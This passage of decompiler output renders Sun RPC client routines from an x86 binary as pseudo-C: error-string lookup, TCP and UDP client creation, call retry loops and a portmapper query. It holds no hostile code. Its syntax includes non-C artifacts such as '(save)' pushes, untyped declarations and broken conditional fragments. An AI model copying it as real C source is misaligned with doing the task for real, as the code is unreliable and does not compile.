            (save)Vfffffffc;
            (save)Vfffffff8;
            (save)"; s1 = %lu, s2 = %lu";
        }
L08063869:
        (save)ebx;
        sprintf();
        (save)ebx;
        ebx = ebx + L080662B0();
        esp = esp + 20;
L0806387a:
        sprintf(ebx, "\n");
        eax = Vfffffff0;
    }
    esp = ebp - 28;
}

/*	Procedure: 0x08063892 - 0x08063893
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08063892()
{



}

/*	Procedure: 0x08063894 - 0x080638B7
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08063894(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    return(L0804F680(0x80787a4, "%s", L08063688(A8, Ac)));
}

/*	Procedure: 0x080638B8 - 0x08063937
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 12
 */

L080638B8(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  edi;



    L0805E954();
    ebx = 0;
    edi = 0x80790d8;
    ecx = 0;
    eax = 0x80790d8;
    do {
        if(*eax == A8) {
            goto L080638dc;
        }
        edx = ecx + 8;
        if(*(eax + 8) == A8) {
            goto L080638f0;
        }
        edx = ecx + 16;
        if(*(eax + 16) == A8) {
            goto L08063904;
        }
        eax = eax + 24;
        ecx = ecx + 24;
        ebx = ebx + 3;
    } while(ebx <= 17);
    goto L0806391a;
L080638dc:
    (save) *(edi + ecx + 4);
    (save)A8 + 1;
    return(L0805E584( *L08078F9C, 8));
L080638f0:
    (save) *(edi + edx + 4);
    (save)A8 + 1;
    return(L0805E584( *L08078F9C, 8));
L08063904:
    (save) *(edi + edx + 4);
    (save)A8 + 1;
    return(L0805E584( *L08078F9C, 8));
L0806391a:
    (save)"RPC: (unknown error code)";
    (save)19;
    return(L0805E584( *L08078F9C, 8));
}

/*	Procedure: 0x08063938 - 0x08063957
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L08063938(A8)
/* unknown */ void  A8;
{



    return(L0804F680(0x80787a4, "%s", L080638B8(A8)));
}

/*	Procedure: 0x08063958 - 0x08063A50
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 8
 */

L08063958(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;



    ebx = L08063664();
    if(ebx == 0) {
        eax = 0;
    } else {
        L0805E954();
        sprintf(ebx, "%s: ", A8);
        (save)L080638B8( *L08079220);
        L080577C0(ebx);
        eax = *L08079220;
        if(eax != 12) {
            if(eax == 14) {
                (save)" - ";
                L080577C0(ebx);
                (save)L080638B8( *L08079224);
                L080577C0(ebx);
            }
        } else {
            (save)" - ";
            L080577C0(ebx);
            if(*L08079228 > 0) {
                eax = *L08079228;
                if(*"{" <= eax) {
                    goto L08063a1c;
                }
                (save) *(eax * 4 + 0x806ae98);
                (save)L0805E584( *L08078F9C, 1, *L08079228 + 1);
                L080577C0(ebx);
            } else {
L08063a1c:
                (save) *L08079228;
                (save)"Error %d";
                (save)L080662B0(ebx) + ebx;
                sprintf();
                esp = esp + 12;
            }
        }
        (save)"\n";
        L080577C0(ebx);
        eax = ebx;
    }
}

/*	Procedure: 0x08063A51 - 0x08063A73
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L08063A51(A8)
/* unknown */ void  A8;
{



    return(L0804F680(0x80787a4, "%s", L08063958(A8)));
}

/*	Procedure: 0x08063A74 - 0x08063B01
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 12
 */

L08063A74(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  edi;



    L0805E954();
    ebx = 0;
    edi = 0x8079168;
    ecx = 0;
    eax = 0x8079168;
    do {
        if(*eax == A8) {
            goto L08063a98;
        }
        edx = ecx + 8;
        if(*(eax + 8) == A8) {
            goto L08063aac;
        }
        edx = ecx + 16;
        if(*(eax + 16) == A8) {
            goto L08063ac0;
        }
        edx = ecx + 24;
        if(*(eax + 24) == A8) {
            goto L08063ad4;
        }
        eax = eax + 32;
        ecx = ecx + 32;
        ebx = ebx + 4;
    } while(ebx <= 7);
    goto L08063af6;
L08063a98:
    (save) *(edi + ecx + 4);
    eax = ebx + 1;
    goto L08063ad8;
L08063aac:
    (save) *(edi + edx + 4);
    eax = ebx + 2;
    goto L08063ad8;
L08063ac0:
    (save) *(edi + edx + 4);
    eax = ebx + 3;
    goto L08063ad8;
L08063ad4:
    (save) *(edi + edx + 4);
    eax = ebx + 4;
L08063ad8:
    eax = L0805E584( *L08078F9C, 7, eax);
    goto L08063af8;
L08063af6:
    eax = 0;
L08063af8:
}

/*	Procedure: 0x08063B02 - 0x08063B03
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08063B02()
{



}

/*	Procedure: 0x08063B04 - 0x08063D1F
 *	Argument size: 24
 *	Local size: 56
 *	Save regs size: 12
 */

L08063B04(A8, Ac, A10, A14, A18, A1c)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
/* unknown */ void  A1c;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffc8;
	/* unknown */ void  Vffffffcc;
	/* unknown */ void  Vffffffd0;
	/* unknown */ void  Vffffffd4;
	/* unknown */ void  Vffffffd8;
	/* unknown */ void  Vffffffdc;
	/* unknown */ void  Vffffffe0;



    ebx = A8;
    esi = 0;
    L0805E954();
    edi = L0805BD74(12);
    if(edi != 0) {
        esi = L0805BD74(100);
        if(esi != 0) {
            goto L08063b78;
        }
    }
    (save)"out of memory";
    L0804F680(0x80787a4, "clnttcp_create: %s\n", L0805E584( *L08078F9C, 10, 1));
    *L08079220 = 12;
    *L08079228 = *L08078B14;
    goto L08063d08;
L08063b78:
    if(*(ebx + 2) == 0) {
        L080649E0(ebx, Ac, A10, 6);
        if(ax == 0) {
            goto L08063d08;
        }
        asm("xchg al,ah");
        *(ebx + 2) = ax;
    }
    if(*A14 < 0) {
        eax = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
        *A14 = eax;
        (save)0;
        (save) *A14;
        L08066A50();
        esp = esp + 20;
        edx = A14;
        if(*edx >= 0) {
            (save)16;
            (save)ebx;
            (save) *edx;
            if(L08056ABC() >= 0) {
                goto L08063c04;
            }
        }
        *L08079220 = 12;
        *L08079228 = *L08078B14;
        edx = A14;
        if(*edx < 0) {
            goto L08063d08;
        }
        goto L08063ca1;
L08063c04:
        *(esi + 4) = 1;
    } else {
        *(esi + 4) = 0;
    }
    *esi = *A14;
    *(esi + 12) = 0;
    *(esi + 16) = 0;
    *(esi + 20) = *ebx;
    *(esi + 24) = *(ebx + 4);
    *(esi + 28) = *(ebx + 8);
    *(esi + 32) = *(ebx + 12);
    L08057254( & Vffffffc8, 0);
    Vffffffd0 = L08057230() ^ Vffffffc8 ^ Vffffffcc;
    Vffffffd4 = 0;
    Vffffffd8 = 2;
    Vffffffdc = Ac;
    Vffffffe0 = A10;
    (save)0;
    (save)24;
    (save)esi + 48;
    ebx = esi + 76;
    (save)ebx;
    L08065408();
    (save) & Vffffffd0;
    (save)ebx;
    esp = esp + 32;
    if(L08064C9C() == 0) {
        if(*(esi + 4) != 0) {
            edx = A14;
L08063ca1:
            close( *edx);
        }
    } else {
        eax = *(esi + 80);
        ebx = esi + 76;
        *(esi + 72) = *( *(eax + 16))(ebx);
        eax = *(esi + 80);
        if(*(eax + 28) != 0) {
            *( *(eax + 28))(ebx);
        }
        (save)0x8064174;
        (save)0x8064074;
        (save)esi;
        (save)A1c;
        (save)A18;
        (save)esi + 76;
        L08065750();
        *(edi + 4) = 0x80791a8;
        *(edi + 8) = esi;
        *edi = L08067094();
        eax = edi;
        goto L08063d16;
    }
L08063d08:
    L0805C290(esi);
    L0805C290(edi);
    eax = 0;
L08063d16:
    esp = ebp - 68;
}

/*	Procedure: 0x08063D20 - 0x08063F5E
 *	Argument size: 32
 *	Local size: 68
 *	Save regs size: 12
 */

L08063D20(A8, Ac, A10, A14, A18, A1c, A20, A24)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
/* unknown */ void  A1c;
/* unknown */ void  A20;
/* unknown */ void  A24;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffbc;
	/* unknown */ void  Vffffffc4;
	/* unknown */ void  Vffffffc8;
	/* unknown */ void  Vffffffcc;
	/* unknown */ void  Vffffffd0;
	/* unknown */ void  Vffffffdc;
	/* unknown */ void  Vffffffe0;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;



    ebx = *(A8 + 8);
    esi = ebx + 76;
    Vffffffc8 = ebx + 48;
    Vffffffc4 = 2;
    if(*(ebx + 16) == 0) {
        *(ebx + 8) = A20;
        *(ebx + 12) = A24;
    }
    Vffffffbc = 0;
    if(A18 != 0 || A20 != 0 || A24 != 0) {
        Vffffffbc = 1;
    }
    do {
        *esi = 0;
        *(ebx + 36) = 0;
        edi = Vffffffc8;
        *edi = *edi - 1;
        ecx = *edi;
        asm("xchg cl,ch");
        asm("ror ecx,0x10");
        asm("xchg cl,ch");
        Vffffffcc = ecx;
        edi = *(esi + 4);
        if(*( *(edi + 12))(esi, ebx + 48, *(ebx + 72)) == 0) {
            goto L08063de2;
        }
        edx = *(esi + 4);
        if(*( *(edx + 4))(esi, & Ac) == 0) {
            goto L08063de2;
        }
        edx = *A8;
        if(*( *( *(edx + 32) + 4))(edx, esi) == 0 || *A10(esi, A14) == 0) {
            goto L08063de2;
        }
        if(L08065BE4(esi, Vffffffbc) == 0) {
            goto L08063e0d;
        }
        if(Vffffffbc == 0) {
            goto L08063e26;
        }
        if(A20 == 0 && A24 == 0) {
            goto L08063e3c;
        }
        *esi = 1;
L08063e58:
        do {
            Vffffffdc = *L08079230;
            Vffffffe0 = *L08079234;
            Vffffffe4 = *L08079238;
            Vffffffec = 0;
            Vfffffff0 = 0x8064e94;
            if(L08065B2C(esi) == 0) {
                break;
            }
            if(L08064C48(esi, & Vffffffd0) != 0) {
                if(Vffffffd0 != Vffffffcc) {
                    goto L08063e58;
                } else {
                    goto L08063ec0;
                }
            }
        } while(*(ebx + 36) == 0);
        break;
L08063ec0:
        L08064DE0( & Vffffffd0, ebx + 36);
        if(*(ebx + 36) == 0) {
            goto L08063ed1;
        }
        Vffffffc4 = Vffffffc4 - 1;
        if(Vffffffc4 == -1) {
            break;
        }
        edx = *A8;
    } while(*( *( *(edx + 32) + 12))(edx) != 0);
    goto L08063f52;
L08063de2:
    if(*(ebx + 36) == 0) {
        *(ebx + 36) = 1;
    }
    (save)1;
    (save)esi;
    L08065BE4();
    goto L08063f52;
L08063e0d:
    *(ebx + 36) = 3;
    eax = 3;
    goto L08063f55;
L08063e26:
    eax = 0;
    goto L08063f55;
L08063e3c:
    *(ebx + 36) = 5;
    eax = 5;
    goto L08063f55;
L08063ed1:
    edi = *A8;
    eax = *(edi + 32);
    if(*( *(eax + 8))(edi, & Vffffffdc) == 0) {
        *(ebx + 36) = 7;
        *(ebx + 40) = 6;
    } else {
        if(*A18(esi, A1c) == 0 && *(ebx + 36) == 0) {
            *(ebx + 36) = 2;
        }
    }
    if(Vffffffe0 != 0) {
        *esi = 2;
        (save) & Vffffffdc;
        (save)esi;
        L08064B1C();
    }
L08063f52:
    eax = *(ebx + 36);
L08063f55:
    esp = ebp - 80;
}

/*	Procedure: 0x08063F5F - 0x08063F80
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08063F5F(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    edx = *(A8 + 8);
    *Ac = *(edx + 36);
    *(Ac + 4) = *(edx + 40);
    eax = *(edx + 44);
    *(Ac + 8) = eax;
    return(*(Ac + 8));
}

/*	Procedure: 0x08063F81 - 0x08063FA8
 *	Argument size: 8
 *	Local size: 4
 *	Save regs size: 4
 */

L08063F81(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;



    eax = *(A8 + 8);
    edx = eax + 76;
    *(eax + 76) = 2;
    return(*Ac(edx, A10));
}

/*	Procedure: 0x08063FA9 - 0x08063FB2
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08063FA9()
{



}

/*	Procedure: 0x08063FB3 - 0x0806402B
 *	Argument size: 8
 *	Local size: 4
 *	Save regs size: 4
 */

L08063FB3(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    eax = *(A8 + 8);
    if(Ac != 2) {
        > ? L08063fd4 : ;
        if(Ac != 1) {
            goto L0806401c;
            if(Ac == 3) {
                goto L08064000;
            }
            goto L0806401c;
        }
        edx = *A10;
        *(eax + 8) = edx;
        *(eax + 12) = *(A10 + 4);
        *(eax + 16) = 1;
    } else {
        edx = *(eax + 8);
        *A10 = edx;
        *(A10 + 4) = *(eax + 12);
        goto L08064020;
L08064000:
        *A10 = *(eax + 20);
        *(A10 + 4) = *(eax + 24);
        *(A10 + 8) = *(eax + 28);
        *(A10 + 12) = *(eax + 32);
        goto L08064020;
L0806401c:
        eax = 0;
        goto L08064025;
    }
L08064020:
    eax = 1;
L08064025:
}

/*	Procedure: 0x0806402C - 0x08064071
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 8
 */

L0806402C(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;



    ebx = *(A8 + 8);
    if(*(ebx + 4) != 0) {
        close( *ebx);
    }
    edx = *(ebx + 80);
    if(*(edx + 28) != 0) {
        *( *(edx + 28))(ebx + 76);
    }
    L0805C290(ebx);
    return(L0805C290(A8));
}

/*	Procedure: 0x08064072 - 0x08064172
 *	Argument size: 12
 *	Local size: 72
 *	Save regs size: 12
 */

L08064072(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffb8;
	/* unknown */ void  Vffffffbc;
	/* unknown */ void  Vffffffc0;
	/* unknown */ void  Vffffffe0;



    ebx = A10;
    if(ebx == 0) {
        eax = 0;
    } else {
        eax = 0;
        ecx = 8;
        edi = & Vffffffe0;
        asm("cld");
        asm("rep stosd");
        eax = *A8;
        asm("bts [ebp-0x20],eax");
        do {
            esi = & Vffffffe0;
            edi = & Vffffffc0;
            asm("cld");
            ecx = 8;
            asm("rep movsd");
            eax = A8;
            Vffffffb8 = *(eax + 8);
            Vffffffbc = *(eax + 12);
            (save) & Vffffffb8;
            (save)0;
            (save)0;
            (save) & Vffffffc0;
            (save)L080649C0();
            edx = select();
            esp = esp + 20;
            if(edx != -1) {
                goto L080640e6;
            }
        } while(*L08078B14 == 4);
        goto L08064105;
L080640e6:
        if(edx == 0) {
            *(A8 + 36) = 5;
            eax = -1;
            goto L08064169;
L08064105:
            edi = A8;
            *(edi + 36) = 4;
            *(edi + 40) = *L08078B14;
            eax = -1;
        } else {
            ebx = L0805730C( *A8, Ac, ebx);
            if(ebx != -1) {
                if(ebx == 0) {
                    edi = A8;
                    *(edi + 40) = 104;
                    *(edi + 36) = 4;
                    ebx = -1;
                }
            } else {
                eax = A8;
                *(eax + 40) = *L08078B14;
                *(eax + 36) = 4;
            }
            eax = ebx;
        }
    }
L08064169:
    esp = ebp - 84;
}

/*	Procedure: 0x08064173 - 0x080641C4
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 12
 */

L08064173(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;



    esi = Ac;
    ebx = A10;
    if(ebx > 0) {
        do {
            eax = L080573E8( *A8, esi, ebx);
            if(eax == -1) {
                goto L0806419f;
            }
            ebx = ebx - eax;
            esi = esi + eax;
        } while(ebx > 0);
        goto L080641b8;
L0806419f:
        *(A8 + 40) = *L08078B14;
        *(A8 + 36) = 3;
        eax = -1;
    } else {
L080641b8:
        eax = A10;
    }
}

/*	Procedure: 0x080641C5 - 0x080641C7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080641C5()
{



}

/*	Procedure: 0x080641C8 - 0x080643FF
 *	Argument size: 32
 *	Local size: 64
 *	Save regs size: 12
 */

L080641C8(A8, Ac, A10, A14, A18, A1c, A20, A24)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
/* unknown */ void  A1c;
/* unknown */ void  A20;
/* unknown */ void  A24;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffc0;
	/* unknown */ void  Vffffffc4;
	/* unknown */ void  Vffffffc8;
	/* unknown */ void  Vffffffcc;
	/* unknown */ void  Vffffffd0;
	/* unknown */ void  Vffffffd4;
	/* unknown */ void  Vffffffd8;
	/* unknown */ void  Vffffffdc;
	/* unknown */ void  Vffffffe0;



    edi = A20;
    esi = A24;
    ebx = 0;
    L0805E954();
    eax = L0805BD74(12);
    Vffffffc0 = eax;
    if(Vffffffc0 != 0) {
        edi = edi + 3 & -4;
        esi = esi + 3 & -4;
        ebx = L0805BD74(edi + esi + 100);
        if(ebx != 0) {
            goto L08064254;
        }
    }
    (save)"out of memory";
    L0804F680(0x80787a4, "clntudp_create: %s\n", L0805E584( *L08078F9C, 10, 1));
    *L08079220 = 12;
    *L08079228 = *L08078B14;
    goto L080643d8;
L08064254:
    *(ebx + 88) = ebx + esi + 96;
    L08057254( & Vffffffc8, 0);
    if(*(A8 + 2) == 0) {
        if(L080649E0(A8, Ac, A10, 17) == 0) {
            goto L080643d8;
        }
        edx = eax;
        asm("xchg dl,dh");
        *(A8 + 2) = dx;
    }
    A8 = Vffffffc0;
    *(A8 + 4) = 0x80791c0;
    *(A8 + 8) = ebx;
    *(ebx + 8) = *A8;
    *(ebx + 12) = *(A8 + 4);
    *(ebx + 16) = *(A8 + 8);
    *(ebx + 20) = *(A8 + 12);
    *(ebx + 24) = 16;
    *(ebx + 28) = A14;
    *(ebx + 32) = A18;
    *(ebx + 36) = -1;
    *(ebx + 40) = -1;
    *(ebx + 84) = edi;
    *(ebx + 92) = esi;
    Vffffffd0 = L08057230() ^ Vffffffc8 ^ Vffffffcc;
    Vffffffd4 = 0;
    Vffffffd8 = 2;
    Vffffffdc = Ac;
    Vffffffe0 = A10;
    (save)0;
    (save)edi;
    (save) *(ebx + 88);
    esi = ebx + 56;
    (save)esi;
    L08065408();
    (save) & Vffffffd0;
    (save)esi;
    esp = esp + 24;
    if(L08064C9C() != 0) {
        *(ebx + 80) = *( *( *(ebx + 60) + 16))(esi);
        if(*A1c < 0) {
            Vffffffc4 = 1;
            eax = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);
            *A1c = eax;
            if(*A1c < 0) {
                *L08079220 = 12;
                *L08079228 = *L08078B14;
                goto L080643d8;
            }
            (save)0;
            (save) *A1c;
            L08066A50();
            L08057280( *A1c, 21537, & Vffffffc4);
            *(ebx + 4) = 1;
        } else {
            *(ebx + 4) = 0;
        }
        *ebx = *A1c;
        *Vffffffc0 = L08067094();
        eax = Vffffffc0;
    } else {
L080643d8:
        if(ebx != 0) {
            L0805C290(ebx);
        }
        if(Vffffffc0 != 0) {
            L0805C290(Vffffffc0);
        }
        eax = 0;
    }
    esp = ebp - 76;
}

/*	Procedure: 0x08064400 - 0x08064434
 *	Argument size: 24
 *	Local size: 0
 *	Save regs size: 8
 */

L08064400(A8, Ac, A10, A14, A18, A1c)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
/* unknown */ void  A1c;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;



    return(L080641C8(A8, Ac, A10, A14, A18, A1c, 8800, 8800));
}

/*	Procedure: 0x08064435 - 0x08064882
 *	Argument size: 32
 *	Local size: 204
 *	Save regs size: 12
 */

L08064435(A8, Ac, A10, A14, A18, A1c, A20, A24)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
/* unknown */ void  A1c;
/* unknown */ void  A20;
/* unknown */ void  A24;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffff40;
	/* unknown */ void  Vffffff44;
	/* unknown */ void  Vffffff48;
	/* unknown */ void  Vffffff4c;
	/* unknown */ void  Vffffff50;
	/* unknown */ void  Vffffff54;
	/* unknown */ void  Vffffff58;
	/* unknown */ void  Vffffff5c;
	/* unknown */ void  Vffffff60;
	/* unknown */ void  Vffffff64;
	/* unknown */ void  Vffffff68;
	/* unknown */ void  Vffffff80;
	/* unknown */ void  Vffffff8c;
	/* unknown */ void  Vffffff90;
	/* unknown */ void  Vffffff94;
	/* unknown */ void  Vffffff9c;
	/* unknown */ void  Vffffffa0;
	/* unknown */ void  Vffffffb0;
	/* unknown */ void  Vffffffc0;
	/* unknown */ void  Vffffffe0;



    eax = *(A8 + 8);
    Vffffff58 = eax;
    Vffffff48 = 2;
    if(*(Vffffff58 + 40) == -1) {
        Vffffff40 = A20;
        Vffffff44 = A24;
    } else {
        edi = Vffffff58;
        Vffffff40 = *(edi + 36);
        Vffffff44 = *(edi + 40);
    }
    Vffffff4c = 0;
    for(Vffffff50 = 0; 1; Vffffff48 = Vffffff48 - 1) {
        ecx = Vffffff58 + 56;
        Vffffff54 = ecx;
        edi = Vffffff58;
        *(edi + 56) = 0;
        eax = *(edi + 60);
        (save) *(edi + 80);
        (save)Vffffff54;
        *( *(eax + 20))();
        *( *(edi + 88)) = *( *(edi + 88)) + 1;
        ecx = *(edi + 60);
        (save) & Ac;
        edi = Vffffff54;
        (save)edi;
        edx = *( *(ecx + 4))();
        esp = esp + 16;
        if(edx == 0) {
            break;
        }
        edx = *A8;
        if(*( *( *(edx + 32) + 4))(edx, edi) == 0 || *A10(Vffffff54, A14) == 0) {
            break;
        }
        eax = Vffffff54;
        ebx = *( *( *(eax + 4) + 16))(eax);
        do {
            ecx = Vffffff58;
            if(sendto( *ecx, *(ecx + 88), ebx, 0, Vffffff58 + 8, *(ecx + 24)) != ebx) {
                goto L0806457a;
            }
            if(Vffffff40 == 0 && Vffffff44 == 0) {
                break;
            }
            Vffffff8c = *L08079230;
            Vffffff90 = *L08079234;
            Vffffff94 = *L08079238;
            Vffffff9c = A1c;
            Vffffffa0 = A18;
            eax = 0;
            ecx = 8;
            edi = & Vffffffc0;
            asm("cld");
            asm("rep stosd");
            eax = *Vffffff58;
            asm("bts [ebp-0x40],eax");
            do {
                esi = & Vffffffc0;
                edi = & Vffffffe0;
                asm("cld");
                ecx = 8;
                asm("rep movsd");
                eax = Vffffff58;
                Vffffff60 = *(eax + 28);
                Vffffff64 = *(eax + 32);
                (save) & Vffffff60;
                (save)0;
                (save)0;
                (save) & Vffffffe0;
                (save)L080649C0();
                edx = select();
                esp = esp + 20;
                if(edx == -1) {
                    if(*L08078B14 == 4) {
                        continue;
                    } else {
                        goto L080646eb;
                    }
                }
                if(edx == 0) {
                    goto L0806464f;
                }
                do {
                    Vffffff5c = 16;
                    edi = Vffffff58;
                    esi = L08056B90( *edi, Vffffff58 + 96, *(edi + 92), 0, & Vffffffb0, & Vffffff5c);
                    if(esi >= 0) {
                        goto L0806477c;
                    }
                } while(*L08078B14 == 4);
                goto L0806474d;
L0806477c:
                if(esi <= 3) {
                    continue;
                }
                if(*( *(Vffffff58 + 88)) != *(Vffffff58 + 96)) {
                    continue;
                } else {
                    goto L0806479f;
                }
L0806474d:
            } while(*L08078B14 == 11);
            goto L0806475a;
L0806464f:
            Vffffff4c = Vffffff4c + *(Vffffff58 + 28);
            Vffffff50 = Vffffff50 + *(Vffffff58 + 32);
            do {
                Vffffff4c = Vffffff4c + 1;
                Vffffff50 = Vffffff50 + -1000000;
            } while(Vffffff50 > 999999);
            if(Vffffff4c < Vffffff40) {
                continue;
            }
            if(Vffffff4c != Vffffff40) {
                break;
            }
        } while(Vffffff50 < Vffffff44);
        goto L080646be;
L0806479f:
        (save)1;
        (save)esi;
        (save)Vffffff58 + 96;
        ebx = & Vffffff68;
        (save)ebx;
        L08065408();
        esi = & Vffffff80;
        (save)esi;
        (save)ebx;
        esp = esp + 24;
        if(L08064C48() == 0) {
            goto L08064860;
        }
        L08064DE0(esi, Vffffff58 + 44);
        edi = Vffffff58;
        if(*(edi + 44) == 0) {
            goto L080647ef;
        }
        if(Vffffff48 <= 0) {
            goto L0806486d;
        }
        edx = *A8;
        if(*( *( *(edx + 32) + 12))(edx) == 0) {
            goto L0806486d;
        }
    }
    *(Vffffff58 + 44) = 1;
    eax = 1;
    goto L08064876;
L0806457a:
    edi = Vffffff58;
    *(edi + 48) = *L08078B14;
    *(edi + 44) = 3;
    eax = 3;
    goto L08064876;
L080646be:
    *(Vffffff58 + 44) = 5;
    eax = 5;
    goto L08064876;
L080646eb:
    ecx = Vffffff58;
    *(ecx + 48) = *L08078B14;
    *(ecx + 44) = 4;
    eax = 4;
    goto L08064876;
L0806475a:
    == ? L080645ec : ;
    *(edi + 48) = *L08078B14;
    *(edi + 44) = 4;
    eax = 4;
    goto L08064876;
L080647ef:
    eax = *A8;
    ecx = *(eax + 32);
    if(*( *(ecx + 8))(eax, & Vffffff8c) == 0) {
        *(edi + 44) = 7;
        *(edi + 48) = 6;
    }
    if(Vffffff90 != 0) {
        edi = Vffffff54;
        *edi = 2;
        (save) & Vffffff8c;
        (save)edi;
        L08064B1C();
        goto L0806486d;
L08064860:
        *(Vffffff58 + 44) = 2;
    }
L0806486d:
    eax = *(Vffffff58 + 44);
L08064876:
    esp = ebp + -216;
}

/*	Procedure: 0x08064883 - 0x080648A4
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08064883(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    edx = *(A8 + 8);
    *Ac = *(edx + 44);
    *(Ac + 4) = *(edx + 48);
    eax = *(edx + 52);
    *(Ac + 8) = eax;
    return(*(Ac + 8));
}

/*	Procedure: 0x080648A5 - 0x080648CC
 *	Argument size: 8
 *	Local size: 4
 *	Save regs size: 4
 */

L080648A5(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;



    eax = *(A8 + 8);
    edx = eax + 56;
    *(eax + 56) = 2;
    return(*Ac(edx, A10));
}

/*	Procedure: 0x080648CD - 0x080648D6
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080648CD()
{



}

/*	Procedure: 0x080648D7 - 0x08064977
 *	Argument size: 8
 *	Local size: 4
 *	Save regs size: 4
 */

L080648D7(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    eax = *(A8 + 8);
    edx = Ac - 1;
    if(edx <= 4) {
        goto *(edx * 4 + 0x80648f8)[L0806490c, L0806491c, L0806494c, L0806492c, L0806493c, ]goto ( *(edx * 4 + 0x80648f8));
        edx = *A10;
        *(eax + 36) = edx;
        *(eax + 40) = *(A10 + 4);
        goto L0806496c;
        edx = *(eax + 36);
        *A10 = edx;
        *(A10 + 4) = *(eax + 40);
        goto L0806496c;
        edx = *A10;
        *(eax + 28) = edx;
        *(eax + 32) = *(A10 + 4);
        goto L0806496c;
        edx = *(eax + 28);
        *A10 = edx;
        *(A10 + 4) = *(eax + 32);
        goto L0806496c;
        *A10 = *(eax + 8);
        *(A10 + 4) = *(eax + 12);
        *(A10 + 8) = *(eax + 16);
        *(A10 + 12) = *(eax + 20);
    } else {
        eax = 0;
        goto L08064971;
    }
L0806496c:
    eax = 1;
L08064971:
}

/*	Procedure: 0x08064978 - 0x080649BD
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 8
 */

L08064978(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;



    ebx = *(A8 + 8);
    if(*(ebx + 4) != 0) {
        close( *ebx);
    }
    edx = *(ebx + 60);
    if(*(edx + 28) != 0) {
        *( *(edx + 28))(ebx + 56);
    }
    L0805C290(ebx);
    return(L0805C290(A8));
}

/*	Procedure: 0x080649BE - 0x080649BF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080649BE()
{



}

/*	Procedure: 0x080649C0 - 0x080649DE
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080649C0()
{



    if(*L0807E754 == 0) {
        *L0807E754 = L08065C48();
    }
    return(*L0807E754);
}

/*	Procedure: 0x080649DF - 0x080649DF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080649DF()
{



}

/*	Procedure: 0x080649E0 - 0x08064AC5
 *	Argument size: 16
 *	Local size: 28
 *	Save regs size: 12
 */

L080649E0(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;
	/* unknown */ void  Vffffffea;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vffffffea = 0;
    Vffffffec = -1;
    *(A8 + 2) = 28416;
    ebx = L080641C8(A8, 100000, 2, *L080791D8, *L080791DC, & Vffffffec, 400, 400);
